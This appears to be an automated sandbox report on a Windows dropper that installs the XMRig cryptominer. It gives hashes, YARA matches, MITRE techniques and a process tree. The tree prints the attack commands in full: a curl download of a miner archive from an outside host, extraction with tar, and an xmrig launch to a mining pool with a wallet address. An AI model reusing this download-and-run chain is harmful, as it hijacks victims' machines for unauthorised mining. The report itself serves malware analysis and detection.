xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (3).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral7/files/0x0007000000023224-20.dat	family_xmrig
behavioral7/files/0x0007000000023224-20.dat	xmrig
behavioral7/memory/2732-25-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-26-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-29-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-31-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-32-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-33-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-35-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-36-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig
behavioral7/memory/2732-37-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	test - Copy (3).exe

Executes dropped EXE 1 IoCs

pid	Process
2732	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2732	xmrig.exe
Token: SeLockMemoryPrivilege	2732	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2732	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 2116	3732	test - Copy (3).exe	88
PID 3732 wrote to memory of 2116	3732	test - Copy (3).exe	88
PID 2116 wrote to memory of 384	2116	cmd.exe	90
PID 2116 wrote to memory of 384	2116	cmd.exe	90
PID 2116 wrote to memory of 4940	2116	cmd.exe	99
PID 2116 wrote to memory of 4940	2116	cmd.exe	99
PID 2116 wrote to memory of 2732	2116	cmd.exe	100
PID 2116 wrote to memory of 2732	2116	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (3).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rNfT3It9.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:384
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:4940
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\rNfT3It9.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
3.2MB

MD5
e27f13ffb2989f290f16f8edd1c80171

SHA1
352a34a66152f4998b8d9152356528f980de2ef5

SHA256
fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9

SHA512
549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
4.9MB

MD5
36952392594a4fedc5ca26bd08e0c074

SHA1
d05b409bbed77462ede733d8b28f8e56e08a6f16

SHA256
54456b7cf0bbbc95c9faccd02c4358a9d3f85320735b1c808ac08fe34477c2b7

SHA512
8f84b71b50134fbd68eba06409947ad88e851cbaa175bcf6ba9e1884a4f9266f66d7ab994952d179dd892b112791785010d3d2c114762033f2f6a4c2688d65bd

Download Submit
memory/2732-33-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-29-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-38-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-23-0x000001EFE7A30000-0x000001EFE7A50000-memory.dmp

Filesize
128KB

Download
memory/2732-24-0x000001EFE7A80000-0x000001EFE7AC0000-memory.dmp

Filesize
256KB

Download
memory/2732-25-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-26-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-27-0x000001F079F20000-0x000001F079F40000-memory.dmp

Filesize
128KB

Download
memory/2732-28-0x000001F07A150000-0x000001F07A170000-memory.dmp

Filesize
128KB

Download
memory/2732-37-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-31-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-32-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-36-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/2732-35-0x00007FF65CDD0000-0x00007FF65D8D4000-memory.dmp

Filesize
11.0MB

Download
memory/3732-0-0x0000000000F60000-0x0000000000F68000-memory.dmp

Filesize
32KB

Download
memory/3732-4-0x00007FFB24820000-0x00007FFB252E1000-memory.dmp

Filesize
10.8MB

Download
memory/3732-22-0x00007FFB24820000-0x00007FFB252E1000-memory.dmp

Filesize
10.8MB

Download

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Analysis